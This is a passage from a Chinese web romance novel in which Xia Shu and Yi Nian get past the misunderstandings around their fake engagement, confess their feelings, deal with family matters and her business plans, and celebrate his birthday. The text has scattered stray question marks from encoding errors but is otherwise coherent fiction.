她嘟起的嘴唇努了努:“我就?是随便吐槽两句,谁说我要歇菜了,可别看不?起人。” “好了,别生?气了,看在我这么喜欢你的份上,就?原谅我这一次吧!” 夏树故意将脑袋别到一边,娇嗔道:“喜欢难道能给我多长几只?脚,还是能当饭吃啊!” 易年:好吧,不?敢惹,闭嘴保命! 剩下宾客的敬酒,夏树想了个自我催眠法,她把双脚的胀痛当成原来?*修车腰背和双手的劳累,把痛感在心里转移到别处,果然就?能坚持。 酒席散场,部分宾客离席,年轻人们便转移到蓝韵酒庄的酒吧,在那里易年准备了爵士乐表演。 夏树身上的旗袍与爵士不?太搭,她便让易年先带同学们过去,叫了周雨唯陪她去更衣室换另一条抹胸礼服。 周雨唯确定夏树可以自己?一人穿脱后去了卫生?间,夏树进了更衣室,旗袍盘扣才扣开,就?接到了夏林电话。 电话那头先是一声不?悦的质问:“姐,你在哪!” 夏树和易年的事?还为更夏林提及,之前和夏林只?说过她现在工作?和住宿的地方在蓝韵,她便回夏林现在也在蓝韵。 “你在蓝韵干什么?”夏林又问。 “准备,洗洗睡了,怎么了吗,突然给我打电话是出了什么事??你们的训练没几天了吧,到时?候回离阳我去接你。”夏树撒谎时?心虚,磕磕巴巴地说。 夏林声音转为气愤:“准备睡觉?你不?是今天订婚吗?所?以是忙累了,准备睡了?” “!!!”夏树深吸一口气,“你,你怎么知?道!” “我看见易雯溪姐姐发的朋友圈了!”夏林几乎快带上哭腔,“你为什么订婚都不?告诉我?你不?把爸妈当家人,也不?把我当家人吗?……” 夏林情绪激动,只?顾着各种发问,夏树在她问完后,终于插上话安抚:“你别激动,我今天订婚是假的,易年你见过的,他祖母身体不?太好,家里逼婚,所?以不?得不?安排今天这场订婚宴,我跟他……总之他之前帮了我,我也帮他。” 在夏树解释完后,电话那头静默片刻。 “那你的八十万是从易年哥哥那里来的?” 夏树不?知?为何夏林会知?道这么多,正想着如?何解释这事?,夏林又说,“余教练亲口告诉我了,你给他的八十万,他已经还了你五十万了,还说对不?起我什么的,求我让你背后的人放他一马!你之前不?是说,我集训的钱是凌飞运动的黎卓黎总赞助的吗?这也是骗我的吧!” 夏林在下午训练结束后被余震东找去谈话,从谈话中她得知?了集训费的事?,她完全想不?出夏树是从哪里弄到的钱,直到看到了易雯溪朋友圈里,夏树和易年订婚的消息,她在想会不?会是姐姐拿了易家给的彩礼,不?想让父母知?道她嫁了有钱人,所?以订婚的事?连她也不?说。 夏树难捱地挠头半晌,连头上的发胶抓散了都未注意,眼看瞒不?住,便对妹妹说了实话。 “是这样的,那时?候他被逼婚逼得紧,找我假结婚,答应给我钱,我就?要了八十万……” 夏树把整件事?的前因后果告诉了夏林,怕夏林对这笔钱产生?心理负担,以为是她为了集训费主动去求人,又补充,“他实在没招了,出国好多年,国内没有其?他熟悉的女生?,而且他原来还喜欢我来着,求我帮忙求了好几次,我才答应的,我能答应他,他也很高兴。” 夏林怔怔地听完,沉默了好久,就?只?问了句:“他喜欢你?” 夏树不?假思索:“嗯,他从原来上学就?喜欢我了,一直到现在也喜欢。” 把易年对她的心意告诉妹妹,之后直接跟妹妹坦白易年就?是姐夫,或许能从妹妹这里帮易年赚不?少印象分。 她想,如?果夏林接下来问了她和易年现在的关系,她立马就?会坦白。 不?料夏林只?是“嗯”了一声,“对了,爸妈今天来离阳,爸膝盖好像是有积水还是什么,妈在电话里没说清楚,反正就?是要动手术。” 夏林说母亲在电话里告诉她,今天医院没床位,父亲说在医院大厅将就?一晚,可他的膝盖不?能受凉,母亲便坚持找个附近便宜的酒店,这才打电话给夏林让她从网上对比一下价格,她才知?道父亲手术的事?。 挂了夏林的电话,夏树想起之前母亲给她打的那通电话,那时?候只?问了她现在住的地方,难说……难说是因为想上她这里借住,结果一听是郊区,便没有开口。 她继续脱着旗袍,犹豫着要不?要给母亲打个电话,发觉身后的拉链有点卡顿,回过头也未看见是卡到了哪里。 周雨唯估计还在卫生?间,一时?半会儿出不?来,她便朝更衣间走,想借里面的镜子来看看是哪里卡了。 更衣间的木门虚掩着,夏树从外面轻轻一推,却?有另外一股力量反弹回来,估摸着有什么东西?从里面抵住了门,她又使劲推了几下,终于推开了。 可…… “妈!您,您怎么在这儿?”说话时?,夏树笑得艰难,清楚感觉到自己?脸部肌肉在颤抖。 易年母亲李研玲居然在更衣间,两人面面相觑,脸色一个比一个黑。 “我来找丝巾,”李研玲神色复杂,垂眸道,“刚刚的话当我没听见,别跟年年说见过我。” 说完,她连同一阵风,从夏树身边悄无声息略过。 夏树确定在这个位置是可以听见她打电话的,也就?是说,易年的母亲,此刻已经知?道了她和易年的订婚是假,结婚是假,只?是一场交易。 更要命的是,她还跟夏林说了易年喜欢她,这不?会让李研玲以为她仗着易年的喜欢,就?这么不?要脸地拿钱吧! 天都快塌了,她颤颤巍巍摸来手机,给易年发了条信息:【完了完了,我俩完蛋了[哭]】 61.62 第61章 深知自己闯了祸,夏树像在逃避似的,在换衣镜前都不愿多?看自己一眼。 她有气无力?地?换好?香槟色抹胸礼服,垂头?丧气往外走着,周雨唯正好?朝她走来。 “哇,真好?看,比起旗袍,你更适合穿抹胸,肩颈线条也太美了。”周雨唯的注意力?只?在夏树身上的礼服上,她捻了捻布料,“这?应该也不便宜吧!想当初你陪我逛街,看见条五千多?的裙子,还被标价吓得不行,如今可不一样了,摇身一变成了贵妇啦。” 夏树苦着脸,皱眉瘪了下嘴,抱着裙摆继续往前走。 “还真别说,易年对你啊,确实没得挑!上学?时候就?挺照顾你,跟你合约结婚,一开始我还想着他只?给80万太小气,没想到后来为了让你落户,那么贵的房子直接弄你名?下,现在还把你汽修厂——” “哎,别说了!” 夏树现在听见80万的字眼就?头?疼,更别说易年为了她在金钱方?面?的付出。 汽修厂搬来蓝韵洗车这?事,也不知道易年妈妈现在会如何看,会不会以为她就?是为了钱,为了工作平台,利用易年的真心吊着他…… 刚刚他妈妈没让她解释,没给她解释的机会,她像是没长嘴一样,居然?也不会为自己辩解几句。 但也不能完全怪她吧!要是易年在青龙湖那晚上,夏树问他关于情书的事,他直接说清楚,两人那时就?把误会解开,后续哪有那么多?弯需要绕,还搞什么合作关系。 说到底,他也没长嘴! “死易年!该说的不说!”夏树不由得咕哝着抱怨。 “啊?不说什么?跟你表白吗?” 夏树和徒弟们搬到蓝韵后,整天忙到晚,晚上还要上易年的课,几乎很?少和周雨唯联系,周雨唯对两人的关系进展不甚了解。 此刻周雨唯和夏树所想的事没在一个频道,她看得出两人互相喜欢,以为夏树之前说只?是合作关系是死鸭子嘴硬,她咳了两声,揶揄道,“有些人不是说就?合作关系来着,怎么现在这?么像个娇滴滴的小媳妇儿了!” “姐姐,求你了,别说了!”夏树嘟着嘴,欲哭无泪,“我现在想静静!” 夏树这?一反应更是让周雨唯来了兴趣,非要问出个所以然?来不可,她乘胜追击:“有什么好?逃避的!我看着你俩根本不像演的好?吗!你们的眼神随时随地?都在拉丝,动作也这?么亲密自然?,”她拐了下夏树的肩膀,“你跟我说实话,你不会真喜欢上他了吧!” 夏树手中原本抱着裙摆,被周雨唯一撞,裙摆从手中滑落在地?,脚下的高跟鞋本就?让她寸步难行,又踩到了裙摆,整个人中心前移,直直摔到地?上。 周雨唯赶忙把她扶起来,两人在旁边的台阶席地?而坐。 这?破高跟,夏树想脱了扔得远远的,但它的价格始终没有让她为所欲为。 “不就?问你是不是真喜欢上他了,你至于这?么激动吗!”周雨唯帮夏树按了按脚踝,关切地?说。 脚掌被鞋子挤得胀痛难忍,方?才那一跤也摔得实在,此刻坐在硬邦邦的台阶上,觉得头?两天被易年折腾过的地?方?处处都疼,再叠加上之前的情绪,她在心里骂了八百遍“臭易年”。 “喜欢他?”夏树把高跟鞋拎在手上,语气带着怨怼,“是我还没吃够破裙子和高跟的苦?我都快烦死了!”夏树眉尾下压,说着便往周雨唯肩上靠。 周雨唯自然?是不信的。 她闺蜜,她还不了解?嘴上说着不喜欢,可那眼神分明不一般,甚至有秀恩爱的嫌疑。 而且,最明显的一点,夏树之前一个钢铁直女的形象,可从没跟她撒过娇,现在居然?小鸟依人地?靠在她肩上。 周雨唯故意气鼓鼓地?把夏树的脑袋推开:“连实话都不跟我说,可别来挨着我!” “我哪有不说实话!”夏树挠着头?,“我都快愁死了,刚刚被他妈听见了……” 夏树把所有事情都向周雨唯说了,可两人悲喜并不相通,夏树在发愁,周雨唯却兴奋地?八卦:“难怪你腿软摔跤,原来是被某人折腾得走不动路了!” 夏树:“……”- 易年看见夏树的消息,是在十多?分钟后。 酒庄的酒吧里,他被同?学?们拉着轮番敬酒,后来谁起了个头?,说爵士不够嗨,能不能换点嗨的音乐,他准备打电话给助理来安排,才看见信息。 他立马回?拨过去,夏树手机关机,给周雨唯打也没打通,便折返回?宴会厅,朝更衣室的方?向找夏树。 走过一个拐角,他听见了周雨唯的声音:“不就?问你是不是真喜欢上他了,你至于这?么激动吗!” 他本不想偷听两人讲话,可周雨唯说的是夏树喜欢上他,激动!夏树在他面?前从来没有表露过激动的神色,他心里确实期待,想听听夏树是如何为他而激动的。 可…… “喜欢他?是我还没吃够破裙子和高跟的苦?我都快烦死了。” 她分明是否认,加埋怨。还说了句,烦死了。 那一条信息“完了完了,我俩完蛋了”,不会是想跟他撇清关系……应该不至于,吧? 说起来,夏树确实没有说过一句她喜欢他。 他真不敢继续听下去,退到旁边反思,发誓再也不给她穿她不喜欢的衣物了,只?要她愿意,结婚时穿运动裤运动鞋都行的。 他点了根刚才没散完的烟,没抽,盯着那点猩红的变化,脑袋一片空白。 烟烧到了烟蒂,夏树和周雨唯出现在他视野内,他迎上去,如往常一样,温柔地?牵起夏树,带着笑意对周雨唯说要跟夏树说会话,让她先过去找其他同?学?。 易年的车就?停放在附近的停车场,他把夏树悬空横抱而起,朝着车走。 “你刚刚给我发的信息,什么完蛋了?”他小心翼翼问。 “就?——”夏树想起易年母亲的话,说别让易年知道,便打算糊弄过去,“没什么,我看你喝多?了我也喝得不少,所以说完蛋了,两个人都喝多?了的话没人能照顾对方?。” “我现在还好?,待会儿一滴都不喝了。” 不多?时,两人到了车前,易年把夏树放进后座,去后备箱拿东西。 夏树在和周雨唯聊的时候已?经想好?,要把余震东转来的50万还给易年,剩下的30万,在蓝韵工作一年,吃住和易年在一起,没有其他开销的话差不多?能还上。 80万始终是她心里的一道坎,这?下还被易妈妈知道,她觉得没有那笔钱,或许她就?能和易年开始一段健康、正常的感情。 她打开手机银行,等易年回?到车上,说道:“把你银行卡号发给我,我把那50万转过去。” 易年心底颤了一下,难道真是要跟他划清界限了? 他面?上仍旧平静,微笑着按熄夏树的手机,先单膝跪地?脱了她的高跟鞋,扶着她的肩把她转向一边,从后面?帮她解开礼服拉链。 “你干嘛?” “别动!” 礼服褪下,他把从后备箱拿出来的休闲套装,替她穿上。 易年仍旧单膝跪地?,与?夏树对视一秒后,看着这?张印在自己心间的脸,终于按耐不住,捏着夏树的双手手腕,将?她抵在了汽车后座。 狭小的空间充斥着他狂热而近乎决堤的乞怜:“不喜欢裙子和高跟,请不要让我连坐!” 夏树看傻了眼。 一路上易年分明很?正常,怎么上车帮她换个衣服就?突然?大变活人。 还说没喝多?? 易年捏的很?用力?,身体又几乎与?她挨着,她的手腕很?痛,挣了好?几下才挣脱开。 夏树揉了揉自己的手腕,摊开在他面?前,气冲冲地?问:“你看看,都红了!又怎么了?你发的什么疯?到底想让我怎么样?” “是不是看我脚红嫌不够,要把我手也弄红才满意?” 易年垂着眼,拉过她的手腕呼着气,看不见神色。 想了想,夏树不觉得易年会平白无故伤害她,借由刚刚刚她换上休闲装这?一动作,再加上此刻在这?个密闭的车厢,四下无人,他莫非是想在车上……?所以这?是他的奇怪XP? 思及此,夏树脸上攀了红,敛了音调:“同?学?们都在等着,这?,不太合适吧……” 不料,夏树话音刚落,就?察觉到手腕上被带着温度的液体浸润。 是,易年的眼泪??? 她赶忙捧起他的脸,捏着袖子替他抹泪:“怎么了怎么了?我刚刚骂你骂得太凶了吗?怎么还哭了。” “就?不能分我一点吗?你的喜欢……”易年的声音带着浓重的鼻音。 哭的还,挺伤心。 夏树往自己胳膊上掐了一下,好?痛,不是幻觉。 所以,他确实喝多?了,这?是在撒酒疯呢。 她拥他入怀,像逗小孩子一样拍着他的后背:“乖,乖,好?啦好?啦,不哭啦,我的喜欢都分给你,好?吧,不哭不哭,哦哦哦……” 易年:“???” 连哄人都这?么敷衍…… 他吸了吸鼻子,“你明明都把我睡了,为什么还不喜欢我?是我服务不够好?吗?可是我都是等你舒服完了才顾我自己的啊!” 夏树:“???” 说的是什么跟什么啊! 她把他的脑袋扶正,无奈问道:“谁说我不喜欢你啊!你到底喝了多?少酒,能疯成这?样?” 易年脸上的累痕还没干,眼眶发红,他蹙着眉,委屈巴巴:“不是你自己跟周雨唯说的,吃够高跟和裙子的苦,所以不喜欢我!” “我——”夏树直接语塞,她无语地?拍了下脑门,“我当时……我有说过不喜欢你吗?” “有!”他表情很?认真! 完了,夏树不记得了,要么就?是口误说错了,要么就?是易年听错了。 实在难以想象,他居然?为这?事哭了! “我怎么可能不喜欢你啊!我不喜欢你,我天天跟你黏在一起,天天跟你睡一张床?我不喜欢你,会跟你用各种姿势酱酱酿酿?”她宠溺地?戳戳他的脑袋,“你这?个恋爱脑,能不能发挥点正常的作用,别整天想些乱七八糟的!” “一个大男人,鼻子眼睛都哭红了,你羞不羞!” 第62章 易年打心里觉得,他活到25岁,闹过的所有?笑话,估计都和夏树有?关,也几乎都有?她在场。 她不在时,自己勉强能归于高智群体,可以正常思考问题,若她在,这脑子?就像摆设,只剩下些粉红泡泡,居然头脑发热以为她不要他而落下泪。 算了?,恋爱脑就恋爱脑吧,这一点,他还是很有?自知?之明的。 虽然会错意当人面掉金豆有?点丢脸,不过总比七年前产生误会谁也不说,最后只能错过要好。 “羞吗?我倒不觉得,谁规定?25岁的男人不能把鼻子?眼睛哭红了?。”他给自己找补,“何况我还喝了?酒,泪腺失控了?,很正常!” 夏树憋笑,摸小狗一样抓了?抓他的下巴:“能!当然能!这位同学梨花带雨这么?可爱,我爱看!” 这个乌龙让易年对眼前的女人有?种失而复得的感?觉,他挨着?她坐上座椅,如释重负地拥抱她。 “下次别这么?吓人,说话说一半,一会儿是我们完蛋了?,一会儿又要把50万还给我,”他轻咬她的耳垂,“你怎么?突然想把那钱给我?” “嗯……”夏树思忖片刻,还是觉得依照易年母亲的意思,先不说被她听见?的事。 “没什么?,反正我留着?没什么?用,卡里从来没有?过这么?多钱,不踏实?。” “不要!”易年语气?坚定?,“你要是敢转回来,我还哭给你看!” “我没办法选择我出生在什么?样的家庭,我生下来,家里就很有?钱了?!就像我之前说过,我喜欢打网球,但我更喜欢你。” “我不会只向你走?九十?九步,我要向你走?一百步,你站在原地,能接受我的心意,就好了?。” “心意,包括,但不限于我想给你的一切跟钱相关的东西。” 初秋的月亮似乎比其他季节还要皎洁,月亮旁边点缀的星星也争先恐后展示着?自身耀眼夺目的光泽,白色月光从车窗外洒了?些在两人的肩膀上,夏树双手环着?他的后背,微笑着?。 她想起曾经和易年一起在祖母家屋顶,看见?的那片零零碎碎的星空,时空流转,少男少女不复当年模样,那两颗心却在多年以后交汇融合。 一切都刚刚好。 “你看见?星星了?吗?”她问。 他侧仰着?头往天上眺:“嗯。” “我,也喜欢你。”- 第二天,夏树还是叫上易年一起去了?夏永富所在的医院,那里并非三甲医院,而是一个会经常在免费派发的小扇子?上印广告的私立骨科医院。 夏树让易年在停车场等,她独自前往住院部,通过护士站询问到夏永富住的是过道内临时加出来的床位。 她只是站在远处看了?不到一分钟便下了?楼,这几年夏林朋友圈有?时会发父母的照片,他们的模样和她印象中的相差无几。 易年真的给了?她太多的爱和安全?感?,所以她在见?到他们的时候,心里竟未想起过去的那些不愉快。 是有?些担忧,但不多。 回到车上,易年一直将目光置在夏树身上,没启动车子?,但也什么?都没问,他知?道自己的关心或是好奇,都不该出现在此时,如果夏树想说,她自然会说。 他指尖在方向盘上跟着?心跳的频率轻点着?,夏树长吁短叹几口气?,突然坐直看他:“人民医院的骨科最好是吧?” “嗯。” “那次雯溪姐手被林林撞到了?,我记得她说她是那家医院VIP,你呢?也是吗?能帮我把他安排过去吗?”夏树流畅自如地说着?,“这边医院好像不太好。” 易年笑道:“我刚刚已经联系好了?,只要你爸愿意过去,随时都可以住院安排手术。” “不愧是你,”夏树同样笑着?,“想的真周到。” 真好,她终于肯主动让他为她做事了?。他想。 两人相视一笑,她没有?跟易年说谢谢,她懂他,知?道他不喜欢听她感?谢他。 随后夏树让易年往回开,并将大致转院流程告诉夏林,让夏林从中传话,一路上想到好些自己小时候的事,滔滔汩汩向易年说着?。 “你说我爸他不会真的是被我克了?吧!” “算命先生说他命里金多,缺木,说女孩克他钱财,所以给我和我妹起名树和林,一来补他缺的木,二来好养活不费钱。懂事后我偏故意反着?来,自己给自己起个金鑫鑫,这可有?五个金!汽修厂叫这个,电台艺名也叫这个。” “他那时候怎么?不多算一个人,算算这个在家里任劳任怨还不受待见的大女儿今后会嫁一个什么?人,要是算出来会嫁个有?钱人,是不是为了让我挤进大富人家,就会给我上大学了?。” 她假模假式地笑着。如实?讲,这些事说出来,心里确实?舒坦。 易年未置可否,只是嘴角微扬,专心开着车听她说。 “啧,你说,我要是不给自己起这个名,不逆天改命,还能遇见?你吗!” …… 夏树和易年直接去了?酒庄,订婚后她也不会刻意遮掩两人的关系,直接把易年拖进了?洗车间办公室,抱来了?搬到蓝韵以后记录着所有客户反馈的本?子?。 “我决定?了?,要拿着?这五十?万创业!”她小手往本?子?上一拍。 “创业?干什么??不想在蓝韵了??” “倒也不是,虽然我跟你是夫妻关系,但咱俩毕竟签过工作上的合同,而且现在这里步入正轨,我不会撒手不管!” “那你想干嘛?” 夏树向易年阐述了?最近想到的一个点子?,想在市区开一个和蓝韵联名的“鑫鑫名车俱乐部”,客户群体是高端车,服务内容包括洗车、保养、贴膜等等。 “先等一下!”易年打断了?她,“首先,你那五十?万肯定?不够,不过你有?我,这个不算问题!但据我所知?,你说的这种名车汇,在市场上并不少,那你靠什么?取胜,你凭什么?去和别人抢客人,别人凭什么?选择你,就靠洗车洗得干净?” 说起正事来,易年一点也不夹带私人感?情,一板一眼,十?分认真,夏树还有?些不习惯。 “你凶我!”她瞪他,娇嗔一声。 可说完这句,夏树就后悔了?……易年把刚刚那一句话,每一个停顿间都加了?个“呀”直,嘴角快咧到了?耳根。 贱嗖嗖的。 夏树缓慢抬起右手手背,比着?不耐烦要扇他的动作:“你说的很好,我先赏你五百!” 一、二、三、四、五,五根手指,刚好五百! 易年立马抿嘴噤声,识时务者为俊杰。 他指指自己的脑袋,对着?空气?训斥:“你真是胆子?大了?,敢在老婆面前耍威风!回去罚你跪键盘,再写一篇一万字的检查,看你还敢不敢!” 夏树被逗笑了?,清了?清嗓,将头一瞥:“还听不听!?” 易年好整以暇,乖巧道:“听!” 夏树继续说着?自己的思路,她打算将与?蓝韵合作的这一套体系继续沿用,只不过这里是以度假消遣为主,洗车只是附带的服务,如果去到市区就突出名车服务,弱化消遣。 “至于弱化,只是相较于蓝韵的弱化,我想,在市区做这个,要做到把任何消遣项目单拎出来,都足以让该项目业内专业人员认可的地步。比如,高薪聘请全?市最好的美甲师、化妆师、咖啡师、按摩师、甜品师,还要设立儿童乐园和早教?老师等等,让顾客在精洗车子?的这三四个小时里,仍然能继续消费!” 夏树讲着?自己的规划是身上仿佛渡了?一层高光,点子?确实?不错,听到这里,易年眉目中流露出对她的赞叹。 “而且我除了?服务到位,还有?两个别人无法比拟的优势,一个是我的电台,几万粉,当初平台推送,离阳市本?地人关注我的人很多,这部分肯定?可以有?一些能转化成线下顾客。” “还有?一个,你记得我短视频号吗!它现在已经算是一个网红号了?,当初你的豪车加上雨中借位图引流,后来搬到蓝韵我也持续在发着?视频,通过我短视频号还找来了?不少打卡蓝韵的人。” 易年会心一笑:“我就说呢,前段时间突然好多网红来打卡,什么?都拍了?,还想拍老板,原来是你把我卖了?啊!” “说到这个!”夏树激动地拍手,“到时候沙龙开起来,咱两分开宣传,我呢就打着?最美汽修师的名号,而你可以穿点深v透视装,就叫禁欲霸总吧,在我沙龙晃悠,肯定?不少富婆姐姐愿意来!” “你——”易年气?笑了?,“我这是又要出钱,又要卖肉?我可是你亲老公,没必要对我这么?绝情吧!塑料老婆!” “没事没事,再塑料也是你老婆,跑不掉的!”夏树故意揶揄,凑到易年跟前将他衬衣解开几扣,“看,这样若隐若现的,多诱人!藏在衣服里面多可惜!” 易年无奈抬眉:“可以!你让我做什么?都可以!不过我会提前给扫黄打非举报,你沙龙不正规经营!” “你少给我泼脏水,哪里不正经了?!人家游泳馆光着?膀子?光着?腿,你怎么?不说游泳馆不正经,才让你穿个深v就这么?矫情!到时候赚了?钱,不都是咱俩共同财产嘛!” 易年一时语塞,气?呼呼盯着?夏树几秒,随即脸上又带了?坏笑。 他解开袖口,先把夏树的办公桌收拾开,又找来一条干净毛巾擦了?好几遍。 夏树就在旁边拖着?腮,静静看他作妖。 “咔哒”一声,办公室门被他从里反锁上。 “你……”某种预感?袭来,夏树闪烁着?目光问,“想干嘛?” 易年微笑着?走?到她旁边,一把将她抱起来,放到了?办公桌上,手掌将她得手背压在桌面上。 “擦干净了?,而且也不凉。” “……”夏树嘴唇打架,“然,后?” “我不要你的钱,你赚钱自己拿着?。” “我要你肉偿。” 【正文完】 第63章 正文完 夏树从黎卓的公司出来时,易年穿着重逢后第一次见他?时那套白色运动装,挎着网球包,正站在她那辆二手捷达旁。 易年也曾说过让她换辆好车开,可她觉得二手捷达虽破旧,却是她工作后买的最贵的物件,见证了她开的第一个?汽修厂,见证了她从负债到小有收入,有这辆车在,她觉得自己在洽谈业务时底气?起码能多一分。 “搞定了?”易年问?。 她扬着手里的文?件,点?点?头,笑着迎上去:“不是说等我去接你,怎么就自己过来了,等很久了吗?” “今天?提前结束了,我不得赶紧跑过来用热脸贴个?冷屁股,不然谁知道我那塑料老婆又忙什么去了!” 夏树拉开驾驶座车门,把手中文?件放到后座,睨他?:“你这是什么乱七八糟的用词!我说了要去接肯定就会去的,怎么能放了寿星鸽子!” 易年佯装不喜上了副驾,抱怨道:“真难得,居然还会替寿星着想,知道今天?有人?过生日!” 夏树很喜欢看易年脸上这些酸不拉唧的小模样,但今天?他?生日,还是得哄哄。 她拉起他?的手摇晃着,撅着嘴眨巴眼?睛:“对不起嘛,你知道的,签合约的日期我提前就和黎总约好,专门错开了你生日,那黎总临时要出差,我也没办法?,不得赶紧过来签了,省得夜长?梦多。” 易年无?奈叹气?,抱着双臂懒懒向后一靠:“是是是,你最厉害,我给?你投资你不要,非自己背着我来谈,还谈定了才告诉我!好好的生日计划全被打乱了,你明天?得补偿我,腾出一整天?时间跟我约会!” “一整天??可是夜校那边……” 话?还没说完,就收到了易年的眼?神警告。 订婚过后,夏树把自己时间全部塞满,恢复鬼故事电台更?新,蓝韵的洗车间主要交给?保钦元管理,她每周过去两次或三次,其余时间一边策划着她的名车服务沙龙,一边开始上课备考本科,除了晚上回家睡觉,确实很少有时间和眼?前这个?恋爱脑单独约会。 “好,我请假,现在就请!” 夏树当着易年的面请了假,见他?还一脸闷闷不乐,从后座把他?的生日礼物拿了出来。 棕色的丝绒盒子拿在易年手上,将他?的皮肤衬得白皙清冽,脸上故意摆出来的不高兴也不见了踪影。 “算你有良心?!”他?脸上难掩得意,打开了盒子,里面躺着一条黑色暗条纹领带。 他?抬眼?,却看见夏树脸上的笑意越发变态,察觉事情没这么简单,便曲起食指刮了下?她的鼻梁:“你又憋着什么坏主意?” “我送你生日礼物,你居然说我憋坏主意!不要就算了!”说着,夏树便要把礼物盒拿回来。 “送出去的东西哪有收回去的道理!”易年换了个?说法?,“说吧,又有什么好点?子了?” “倒也算不上什么好点?子啦!”夏树双手合握在胸前,一脸真诚,“就上次,你光着上身咬领带尬舞……”她咳了两声,“我觉得舞蹈动作可以pass,不过那装扮嘛,可以经常来!” 易年:“……” 心?里窃喜,好色之徒,好喜欢!- 今天?碰巧是周六,为了不打破周末到祖母家吃饭的惯例,易年的生日便安排在祖母家过。 他?的父母在订婚后两天?,约着易雯溪父母,带上爷爷奶奶一起出门?*旅游了,所以生日宴就只有祖母、易雯溪、夏树和易年四人?。 晚饭后祖孙四人?在祖母的葡萄架下?坐着乘凉,不多时,易雯溪会所的工作人?员就将蛋糕送了过来,是她那里的招牌。 为了照顾祖母的作息,他?们提前摆弄蛋糕,准备吹了蜡烛便先回家让祖母休息,易年母亲打视频过来时,易年正在和易雯溪一起布置院子,有些高处的地方需要全场最高的他?来弄,便在视频接通后把手机递给?了夏树。 从被知道假订婚后,夏树还没单独和易年母亲说过话?,手机拿在手里,仿佛像个?烫手山芋。 夏树把摄像头对准易年,李研玲先在视频里展示了给?易年买的生日礼物,又叫夏树走到一边她跟她说几句悄悄话?,夏树左脚绊右脚挪到一边。 “小树,我倒没有催你的意思,就想问?问?你跟年年考虑什么时候要孩子?” “要……孩子?”夏树一噎。 “今天?玩到苗寨,这边的苗医好厉害,他?有助孕的方子,女人?吃了以后整个怀孕过程和生产过程会很顺利,不会那么受罪,不过得提前半年开始吃,我在想如果你们半年内有这计划,那我这次就顺带买回来,要是没有这计划,就先不买。” 夏树挤出生硬的笑:“妈妈,我们目前,是还没有这个?计划……” 接下?来的十多分钟,是李研玲向夏树讲她原来怀孕和生育时的不易,夏树原本以为她会不会是要提她和易年合伙骗他?们的事,却不想她竟然只字不提,看上去李研玲似乎早就将这事抛之脑后。 她不懂之间是否发生了什么,才会让李研玲不计较此事,到了视频尾声,她打算向李研玲将心?里的想法?说出来。 “妈妈,我很喜欢易年,虽然我跟他?真正在一起的时间不长?,但我真的想和他?共度余生。”夏树说。 “我知道我知道!”李研玲说,“我刚刚跟你说了的,我没有催你们生育的意思,哪怕你一直不想生,我也不会怀疑你对年年的真心?!” 夏树疑惑更?甚,好像,她和李研玲的话?并不在一个?频道。 “妈妈,我是想说订婚那天?,你在更?衣室听见的那些话?,我担心?你会以为我只是为了钱和易年在一起,所以才想解释一下?,我是真的喜欢他?。” 李研玲终于反应过来夏树所说的意思:“哎哟你看,这事怪我,之前年年第一次带你带祖母家之后,他?跟我和你爸说了,你们不是真在一起,不过他?说他?想认真追你,让我们什么都?别管,别打乱他?追你的节奏,那时候我不知道你俩已经在一起了,我让你别告诉年年,也是这个?原因!后来我们旅游出发前,年年才和我说……” 挂断电话?,夏树气?冲冲走到易年身后,给?他?膝盖窝一脚飞踢:“你还有多少事瞒着我!” “没,没有啊,”易年眼?神躲闪,思索片刻,“明天?约会,我就想放松一下?,就只是看看电影什么的,电影票我都?订好了。” “我是说爸妈!他?们一开始就知道我收了你的钱演你老婆,为什么瞒着我!” 易年憨憨笑着,食指勾住夏树的食指:“要是让你知道了,你之前肯定不会让我到卧室跟你睡……” 夏树又气?又好笑:“易总,你这心?眼?,真是多到我密集恐惧症都?犯了!”- 为了“惩罚”易年,夏树晚上说不要易年回卧室睡,让他?睡客房,原以为他?会死皮赖脸回卧室,没想到他?居然一口就答应了! 当主卧门被易年微笑着关上后,夏树站在门后拳头攥了又攥,真想搜一个?女人?说不要就是要的反话?科普甩到他?脸上! 狗东西,真会气?人?! 心?头压着火气?,夏树当然没有很快睡着,但外面那男人?也不消停,一会儿打电话?,一会儿在过道或客厅走来走去…… 具体听不见也不知道他?在干什么,反正那动静特别恼人?。 夏树看着放在床头柜上,他?给?易年准备的生日礼物,火气?更?大,以至于最后一次看手机时,已经凌晨三点?半。 第二天?睁眼?,夏树从枕头下?面摸来手机,一看,已经十一点?多。 不对,她胸口有点?重! 垂眼?一看,那只大手居然向往常一样把着山峰。 ……她三点?多都?还醒着,那他?是什么时候进来的? 睡前的闷气?只遗留下?来了一小部分,窝在熟悉温暖的怀里,翻了个?身与他?相对,好不容易休息一天?,准备再睡会儿回笼觉,不想男人?被她轻巧的动作吵醒,闭着眼?睛上下?其手。 为了让对方认识到昨晚的错误方式,夏树不打算这么快让他?得逞,两人?一攻一守,僵持半晌,男人?终于睁开眼?。 “还在生气?呢?”他?的声音有些沙哑。 夏树没说话?,他?却在被子里把一块布料塞到了夏树手里:“拉拉看。” 夏树顺着布料摸过去,源头竟然在他?脖子上,她把他?肩上的被子往下?扯,果然看见了自己送他?那条领带。 “你送我的生日礼物,我好喜欢,都?带着它睡了,所以你不要生气?了好不好!”他?在她耳畔呢喃。 夏某人?:不得不说,确实被易某吃得死死的! “我才没那么小气?,早就不生气?了!”她傲骄道。 “既然不生气?,”他?指尖轻触她的脸颊,“你看我都?戴给?你看了,那能不能满足我一件事!” “满足,什么?”夏树咬着下?唇,身体升起燥意。 “今天?约会,跟我穿情侣装!” 夏树:“……”- 所谓的情侣装,竟然是高中时的校服! 一开始夏树是不答应的,感觉穿这个?走在街上,就像老黄瓜刷绿漆,可耐不住易年在她怀里撒娇卖萌,最终还是答应了。 下?午,收拾打扮好后,易年居然找来一辆自行车,骑车带夏树出门,去的是高中附近的老街。 他?们像普通的小情侣一样十指相扣逛街,晚饭吃的是最普通不过的路边摊,有那么几个?瞬间,夏树感觉时空错乱,仿佛回到了高中时代?。 吃完晚饭,按照计划两人?要去看电影,走到自行车前,易年掏出手机看了一眼?:“哎呀!” “怎么了?” “我看错日期了,这电影票买错了,买成明天?了……”他?瘪瘪嘴。 “这么低级的错误你居然也会犯?”夏树不太相信,“你逗我的吧!”说着,她便凑到易年旁边看他?手机,电影票上面显示的时间确实是第二天?。 “既然来到学校附近,还穿着校服,不然就回学校看看。”他?提议。 易年挑的电影是一部战争片,夏树原本就不感兴趣,他?这一提议正好,不用去看电影了。 他?们来到学校,周末只有门卫大爷守着校门。 “大爷您好。”易年笑眯眯地打招呼。 “来了啊!”大爷熟络回应,“你这媳妇真好看,跟你真登对!” 